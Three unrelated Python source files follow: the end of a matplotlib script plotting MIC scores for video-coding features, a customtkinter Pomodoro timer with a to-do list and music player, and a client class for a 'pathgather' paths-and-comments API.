    #feature_train('s-ns_8x8', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    #feature_train('s-ns_8x4', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    #feature_train('s-ns_32x4', ['qp', 'var','ngradx', 'ngrady', 'gmx', 'MaxDiffVar', 'MaxDiffgradx', 'MaxDiffgrady'])
    # feature_train('hs-vs_32x32', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # feature_train('hs-vs_32x16', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # feature_train('hs-vs_32x8', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # feature_train('hs-vs_16x16', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    # feature_train('hs-vs_16x8', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])
    feature_train('hs-vs_8x8', ['qp', 'ngradx', 'ngrady', 'ndva', 'ndgradx2', 'ndgrady2'])

if 1:

    fig = plt.figure()
    # sns - 0.02, 0.41, 0.40, 0.44, 0.53, 0.36, 0.31, 0.33, 0.45, 0.41, 0.45
    # hsvs 0.002, 0.05, 0.11, 0.12, 0.03, 0.12, 0.11, 0.12, 0.05, 0.11, 0.07
    b1 = plt.bar([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11], [0.02, 0.41, 0.40, 0.44, 0.53, 0.36, 0.31, 0.33, 0.45, 0.41, 0.45], width=0.3)
    b2 = plt.bar([1+0.3, 2+0.3, 3+0.3, 4+0.3, 5+0.3, 6+0.3, 7+0.3, 8+0.3, 9+0.3, 10+0.3, 11+0.3], [0.002, 0.05, 0.11, 0.12, 0.03, 0.12, 0.11, 0.12, 0.05, 0.11, 0.07], width=0.3)
    # plt.bar([1, 2, 3, 4], [4, 5, 6, 7], bottom=[4, 5, 6, 7], width=0.3)

    plt.xlim(0, 12)
    plt.xticks([1.15, 2.15, 3.15, 4.15, 5.15, 6.15, 7.15, 8.15, 9.15, 10.15, 11.15], ['QP', 'Var', '$\mathregular{Grad_x}$', '$\mathregular{Grad_y}$', '$\mathregular{Grad_m}$', '$\mathregular{F_b}$(Var)', '$\mathregular{F_b}$$\mathregular{Grad_x}$', '$\mathregular{F_b}$$\mathregular{Grad_y}$', '$\mathregular{F_q}$(Var)', '$\mathregular{F_q}$$\mathregular{Grad_x}$', '$\mathregular{F_q}$$\mathregular{Grad_y}$'])
    plt.grid(True)

    plt.legend(fontsize=12)

    #设置坐标轴名称
    plt.ylabel('MIC',fontsize=12)

    fig.autofmt_xdate(rotation=35)

    print(type(b1))

    plt.legend((b1, b2), ('S-NS', 'HS-VS'))

    plt.show()


#!/usr/bin/python3
import threading
import customtkinter
from PIL import Image, ImageTk
import pygame
import os
import time

PATH = os.path.dirname(os.path.realpath(__file__))

customtkinter.set_appearance_mode("Light")
customtkinter.set_default_color_theme("blue")

class PomodorING(customtkinter.CTk):
  # ---------Variables globales--------------------------------
  global tiempo
  tiempo = "25:00"
  global time_text_split
  time_text_split = tiempo.split(":")
  global extraTime
  extraTime = 0

  # ---------Construccion de aplicacion------------------------
  def __init__(self):
    super().__init__()

    self.title("PomodorING")
    self.geometry("1280x720")

    # -----------------Frames principales--------------------------
    self.grid_columnconfigure(1, weight=1)
    self.grid_rowconfigure(0, weight=1)

    # ------------------------Open files---------------------------
    self.start_image = self.load_image("/app_buttons/start.png", 50)
    self.reset_image = self.load_image("/app_buttons/reset.png", 50)
    self.moremin_image = self.load_image("/app_buttons/moremin.png", 50)
    self.lessmin_image = self.load_image("/app_buttons/lessmin.png", 50)
    self.pause_image = self.load_image("/app_buttons/pause.png", 50)
    self.resume_image = self.load_image("/app_buttons/start_music.png", 50)
    self.pomopet_image = self.load_image("/app_buttons/pomo_pet.jpg", 400)

    # =========tasks frame configuracion================
    self.frame_tasks = customtkinter.CTkFrame(master=self,
                                              width=448,
                                              corner_radius=0,
                                              fg_color="#FFFFFF")
    self.frame_tasks.grid(row=0, column=0, sticky="nswe")
    # configurando columnas tasks
    self.frame_tasks.columnconfigure(0, weight=1)

    # configurando filas tasks
    self.frame_tasks.rowconfigure((0, 1, 2, 3, 4, 5, 6, 7, 8), weight=1)

    # =========Timer frame configuracion==================
    self.frame_timer = customtkinter.CTkFrame(master=self,
                                              corner_radius=15,
                                              fg_color="#FFFFFF")
    self.frame_timer.grid(row=0, column=1, sticky="nswe", padx=20, pady=20)
    # configurando columnas timer
    self.frame_timer.columnconfigure((0, 1, 2, 3, 4), weight=1)

    # configurando filas timer
    self.frame_timer.rowconfigure((0, 1, 2, 3, 4, 5), weight=1)

    # ---------------Frames Secundarios---------------------------
    # ========frame interior de to-do list======
    self.frame_to_do_container = customtkinter.CTkFrame(
      master=self.frame_tasks, corner_radius=15)

    self.frame_to_do_container.grid(row=1,
                                    column=0,
                                    ipady=10,
                                    rowspan=6,
                                    padx=20,
                                    sticky="nsew")

    # configurando columnas to-do list container
    self.frame_to_do_container.columnconfigure((0, 1, 2), weight=1)
    # configurando filas to-do list container
    self.frame_to_do_container.rowconfigure((0, 1, 2, 3, 4, 5, 6), weight=1)

    # ========frame interior para musica========
    self.frame_music = customtkinter.CTkFrame(master=self.frame_tasks,
                                              width=368,
                                              height=100,
                                              corner_radius=15)
    self.frame_music.grid(row=7, column=0, rowspan=2, padx=20)
    # configurando columnas musica
    self.frame_music.columnconfigure((0, 1), weight=1)
    # configurando filas musica
    self.frame_music.rowconfigure((0, 1), weight=1)

    # ===frame interior para botones start y repeat dentro de timer frame==
    self.frame_repstart = customtkinter.CTkFrame(master=self.frame_timer,
                                                 fg_color="#FFFFFF")
    self.frame_repstart.grid(row=4, column=2, sticky="N")
    # configurando columnas repstart buttons
    self.frame_repstart.columnconfigure((0, 1), weight=1)
    # configurando columnas repstart buttons
    self.frame_repstart.rowconfigure(0, weight=1)

    # ==========frame timer and +- 5==========
    self.frame_timer_5 = customtkinter.CTkFrame(master=self.frame_timer,
                                                fg_color="#FFFFFF")
    self.frame_timer_5.grid(row=3, column=2, sticky="S")
    # configurando columnas repstart buttons
    self.frame_timer_5.columnconfigure((0, 1, 2), weight=1)
    # configurando columnas repstart buttons
    self.frame_timer_5.rowconfigure(0, weight=1)

    # =========name update====================
    self.frame_upname = customtkinter.CTkFrame(master=self.frame_timer,
                                               fg_color="#FFFFFF")
    self.frame_upname.grid(row=5, column=2, sticky="S")
    # configurando columnas repstart buttons
    self.frame_upname.columnconfigure((0, 1, 2), weight=1)
    # configurando columnas repstart buttons
    self.frame_upname.rowconfigure(0, weight=1)

    # -------------Widgets-----------------------------
    # ==========To-do list====================
    # to-do list label
    self.label_tasks = customtkinter.CTkLabel(master=self.frame_tasks,
                                              text="TO-DO LIST",
                                              text_font=("pomodoring_font",
                                                         40))
    self.label_tasks.grid(row=0, column=0, padx=80)
    # to-do list entrys
    self.entry_task_1 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_1.grid(row=1,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_2 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_2.grid(row=2,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_3 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_3.grid(row=3,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_4 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_4.grid(row=4,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_5 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_5.grid(row=5,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    self.entry_task_6 = customtkinter.CTkEntry(
      master=self.frame_to_do_container,
      width=330,
      placeholder_text="...",
      text_font=("pomodoring_font", 15),
      border_width=0,
      corner_radius=15)
    self.entry_task_6.grid(row=6,
                           column=0,
                           columnspan=2,
                           pady=5,
                           padx=20,
                           sticky="W")

    # to-do list checkbox
    self.check_box_1 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_1.grid(row=1, column=2, sticky="W")

    self.check_box_2 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_2.grid(row=2, column=2, sticky="W")

    self.check_box_3 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_3.grid(row=3, column=2, sticky="W")

    self.check_box_4 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_4.grid(row=4, column=2, sticky="W")

    self.check_box_5 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)
    self.check_box_5.grid(row=5, column=2, sticky="W")

    self.check_box_6 = customtkinter.CTkCheckBox(
      master=self.frame_to_do_container,
      text="",
      corner_radius=15,
      border_width=2,
      fg_color="#53da1c",
      border_color="#939ba2",
      command=self.progressbar_increase)

    self.check_box_6.grid(row=6, column=2, sticky="W")

    # status bar tasks

    self.progressbar = customtkinter.CTkProgressBar(
      master=self.frame_to_do_container,
      width=330,
      height=30,
      progress_color="#53da1c")
    self.progressbar.grid(row=0, column=0, columnspan=3, padx=20, sticky="SW")
    self.progressbar.set(0)

    # =========Timer===================
    # welcomeback label
    self.welcome_label = customtkinter.CTkLabel(master=self.frame_timer,
                                                text=("WELCOMEBACK USERNAME!"),
                                                text_font=("pomodoring_font",
                                                           20))
    self.welcome_label.grid(row=0, column=1, columnspan=3, padx=1, pady=10)

    # label tiempo
    self.time_label = customtkinter.CTkLabel(master=self.frame_timer_5,
                                             text=tiempo,
                                             text_font=("pomodoring_font", 70))
    self.time_label.grid(row=0, column=1, padx=1, sticky="S")

    # label Pomo property
    self.pomo_pet_label = customtkinter.CTkLabel(master=self.frame_timer,
                                                 image=self.pomopet_image
                                                 )
    self.pomo_pet_label.grid(row=2, column=2, padx=1, sticky="S")

    # ----------------Timer buttons---------------

    # reset button
    self.button_reset = customtkinter.CTkButton(
      master=self.frame_repstart,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.reset_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.reset)
    self.button_reset.grid(row=0,
                           column=1,
                           columnspan=1,
                           pady=1,
                           padx=5,
                           sticky="NE")

    # start button
    self.button_start = customtkinter.CTkButton(
      master=self.frame_repstart,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.start_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.start)
    self.button_start.grid(row=0,
                           column=0,
                           columnspan=1,
                           pady=1,
                           padx=5,
                           sticky="NW")

    self.button_moremin = customtkinter.CTkButton(
      master=self.frame_timer_5,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.moremin_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.more_minutes)
    self.button_moremin.grid(row=0, column=2, pady=20, sticky="SW")

    self.button_lessmin = customtkinter.CTkButton(
      master=self.frame_timer_5,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.lessmin_image,
      text="",
      text_font=("pomodoring_font", 50),
      fg_color="#FFFFFF",
      command=self.less_minutes)
    self.button_lessmin.grid(row=0, column=0, pady=20, sticky="SE")

    self.entry_name = customtkinter.CTkEntry(master=self.frame_upname,
                                             width=280,
                                             justify="center",
                                             placeholder_text="WHAT IS YOU"
                                             "R NAME?",
                                             text_font=("pomodoring_font", 15),
                                             border_width=0,
                                             corner_radius=15,
                                             fg_color="#c0c2c5")
    self.entry_name.grid(row=0, column=0, columnspan=1, pady=15, sticky="S")

    self.update_name = customtkinter.CTkButton(master=self.frame_upname,
                                               width=50,
                                               text="SAVE",
                                               text_font=("pomodoring_font",
                                                          13),
                                               border_width=0,
                                               corner_radius=15,
                                               fg_color="#c0c2c5",
                                               command=self.save_name)
    self.update_name.grid(row=0,
                          column=1,
                          columnspan=1,
                          pady=15,
                          padx=10,
                          sticky="S")

    self.update_wlabel = customtkinter.CTkButton(master=self.frame_upname,
                                                 width=50,
                                                 text="APPLY",
                                                 text_font=("pomodoring_font",
                                                            13),
                                                 border_width=0,
                                                 corner_radius=15,
                                                 fg_color="#c0c2c5",
                                                 command=self.read_name)
    self.update_wlabel.grid(row=0,
                            column=2,
                            columnspan=1,
                            pady=15,
                            padx=1,
                            sticky="S")

    # =========Reproductor de musica===========
    # nombre de la cancion
    self.music_name_label = customtkinter.CTkLabel(
      master=self.frame_music,
      text="NOW YOU ARE LISTE"
      "NING TO LO-FI MUSIC",
      text_font=("pomodoring_font", 15))
    self.music_name_label.grid(row=0,
                               column=0,
                               columnspan=2,
                               ipady=10,
                               padx=50,
                               pady=1,
                               sticky="S")

    # botones reproductor de musica
    self.button_play = customtkinter.CTkButton(
      master=self.frame_music,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.resume_image,
      text="",
      text_font=("pomodoring_font", 35),
      fg_color="#d1d5d8",
      command=self.play_music)
    self.button_play.grid(row=1, column=0, padx=10, pady=10, sticky="NE")

    self.button_stop_song = customtkinter.CTkButton(
      master=self.frame_music,
      width=5,
      height=5,
      border_width=0,
      corner_radius=8,
      image=self.pause_image,
      text="",
      text_font=("pomodoring_font", 35),
      fg_color="#d1d5d8",
      command=self.stop_music)
    self.button_stop_song.grid(row=1, column=1, pady=10, sticky="NW")

    # conditions for Timer
    self.condicion = False
    self.contadorOneTimer = 0
    self.otroContador = 0
    self.positivo = 10
    self.time_text_split = tiempo.split(":")
    self.min = int(self.time_text_split[0])
    self.sec = int(self.time_text_split[1])

# ---------------Functions------------------------

  def start_timer(self):
    run_time = threading.Thread(target=self.start)
    run_time.start()

  # progress bar linked to checkbox
  def progressbar_increase(self):
    value = self.progressbar.get()
    value = value + 0.16666666667
    self.progressbar.set(value)

  # load rectangular image with path relative to PATH
  def load_image(self, path, image_size):
        return ImageTk.PhotoImage(Image.open(PATH + path).resize((image_size,
                                  image_size)))

  # path relative to PATH
  def complete_path(self, path):
    return (PATH + path)

  # save name in external file
  def save_name(self):
    # write txt

    savename_w = open(self.complete_path("/savename.txt"), "w")
    name = self.entry_name.get()
    name = str(name.upper())
    print(name)
    savename_w.write(name)
    savename_w.close()

  # read username in external file
  def read_name(self):
    savename_r = open(self.complete_path("/savename.txt"), "r")
    newname = savename_r.readline()
    print(newname)
    self.welcome_label.configure(text=("WELCOMEBACK {}!".format(newname)))
    self.welcome_label.update()

  # update welcome username label
  def show_name(self):
    readname = self.savename_r.readline()
    return readname
    self.welcome_label.update()

  # start timer button
  def start(self):
    self.contadorOneTimer = self.contadorOneTimer + 1
    self.condicion = True
    if self.condicion == True:
      self.reset_timer = False

      global min
      global sec
      min = int(time_text_split[0])
      sec = int(time_text_split[1])

      global full_sec
      full_sec = 60 * (min)

      if self.contadorOneTimer == 1:
        while full_sec > 0 and self.condicion == True:
          full_sec -= 1
          min, sec = divmod(full_sec, 60)

          self.time_label.config(text=f"{min + extraTime}:{sec}")
          self.time_label.update()
          time.sleep(1)

  # Stop Timer
  def reset(self):

    self.reset_timer = True
    self.condicion = False
    self.time_label.config(text=time_text_split)
    self.contadorOneTimer = 0
    global extraTime
    extraTime = 0
    self.positivo = 10

  # less minutes
  def less_minutes(self):

    if self.condicion == False and self.positivo > 10:

      min = int(time_text_split[0])
      global extraTime
      extraTime = extraTime - 5
      sec = int(time_text_split[1])
      self.time_label.config(text=f"{min+extraTime}:{sec}")
      self.positivo = self.positivo - 1
      self.time_label.update()

  # more minutes
  def more_minutes(self):

    if self.condicion == False:

      min = int(time_text_split[0])
      global extraTime
      extraTime = extraTime + 5
      sec = int(time_text_split[1])
      self.time_label.config(text=f"{min+extraTime}:{sec}")
      global positivo
      self.positivo = self.positivo + 1
      self.time_label.update()

  # play music
  def play_music(self):
    pygame.init()

    pygame.mixer.music.load(
      self.complete_path("/OnBourbonStreet"
                         "_GiorigioDiCampo.mp3"))
    pygame.mixer.music.play(10)
    return

  # stop music
  def stop_music(self):
    pygame.mixer.music.load(
      self.complete_path("/OnBourbonStreet"
                         "_GiorigioDiCampo.mp3"))
    pygame.mixer.music.stop()

if __name__ == "__main__":
  app = PomodorING()
  app.mainloop()


import json

from .models.path import Path, UserPath, PathComment
from .models.skill import Skill
from .models.user import User
from .utils import scrub

class PathsClient(object):
    """ Path API. """

    def __init__(self, client):
        self.client = client

    def all(self, from_page=None, query=None):
        """
        Get all paths.

        Paths are returned sorted by creation date,
        with the most recently created path appearing first.

        :param from_page: Get from page (when paginated)
        :type  from_page: ``int``

        :param query: Extra query parameters
        :param query: ``dict``

        :return: A list of paths
        :rtype: ``list`` of :class:`pathgather.models.path.Path`
        """
        params = {}

        if from_page is not None:
            params["from"] = from_page

        data = None
        if query is not None:
            data = json.dumps({"q": query})

        paths = self.client.get_paged("paths", params=params, data=data)
        results = []
        for page in paths:
            results.extend([self._to_path(i) for i in page["results"]])
        return results

    def get(self, id):
        """
        Fetch a path by ID

        :param id: Path ID
        :type  id: ``str``

        :return: A path
        :rtype: :class:`pathgather.models.path.Path`
        """
        path = self.client.get("paths/{0}".format(id))
        return self._to_path(path)

    def starts_and_completions(self, from_page=None, query=None):
        """
        Returns objects representing a user's interaction
        (starts and completions) with paths.
        User path items are returned sorted by start date,
        with the most recently started paths appearing first.

        :param from_page: Get from page
        :type  from_page: ``str``

        :param query: Extra query parameters
        :param query: ``dict``

        :return: A list of path starts and completions
        :rtype: ``list`` of :class:`pathgather.models.content.UserPath`
        """
        params = {}

        if from_page is not None:
            params["from"] = from_page

        data = None
        if query is not None:
            data = json.dumps({"q": query})

        content = self.client.get_paged("user_paths", params=params, data=data)
        results = []
        for page in content:
            results.extend([self._to_user_path(i) for i in page["results"]])
        return results

    def get_comments(self, id, from_page=None, query=None):
        """
        Get comments on a path

        :param id: The path ID
        :type  id: ``str``

        :param from_page: Get from page
        :type  from_page: ``str``

        :param query: Extra query parameters
        :param query: ``dict``

        :return: A list of path comments
        :rtype: ``list`` of :class:`pathgather.models.path.PathComment`
        """
        params = {}

        if from_page is not None:
            params["from"] = from_page

        data = None
        if query is not None:
            data = json.dumps({"q": query})

        content = self.client.get_paged(
            "paths/{0}/comments".format(id), params=params, data=data
        )
        results = []
        for page in content:
            results.extend([self._to_path_comment(i) for i in page["results"]])
        return results

    def create_comment(self, id, message, user_id, custom_id=None):
        """
        Create a comment on a path

        :param id: The path ID
        :type  id: ``str``

        :param message: The comment text, in plain or HTML
        :type  message: ``str``

        :param user_id: The ID of the user to create the comment as
        :type  user_id: ``str``

        :param custom_id: Custom identifier for the comment
        :type  custom_id: ``str``

        :return: A path comment
        :rtype: :class:`pathgather.models.path.PathComment`
        """
        params = {"message": message, "user_id": user_id}
        if custom_id:
            params["custom_id"] = custom_id

        response = self.client.post(
            "paths/{0}/comments".format(id), {"comment": params}
        )
        return self._to_path_comment(response)

    def delete_comment(self, id, comment_id):
        """
        Delete a comment on a path

        :param id: The path ID
        :type  id: ``str``

        :param comment_id: The comment ID
        :type  comment_id: ``str``

        """
        return self.client.delete("paths/{0}/comments/{1}".format(id, comment_id))

    def _to_path_comment(self, data):
        scrub(data)
        data["user"] = User(**data["user"])
        if "path" in data:
            data["path"] = Path(**data["path"])
        return PathComment(**data)

    def _to_user_path(self, data):
        scrub(data)
        data["user"] = User(**data["user"])
        data["path"] = Path(**data["path"])
        data["path"].user = User(**data["path"].user)
        return UserPath(**data)

    def _to_path(self, data):
        scrub(data)
        _skills = []
        for skill in data["skills"]:
            _skills.append(Skill(**skill))
        data["skills"] = _skills
        data["user"] = User(**data["user"])
        return Path(**data)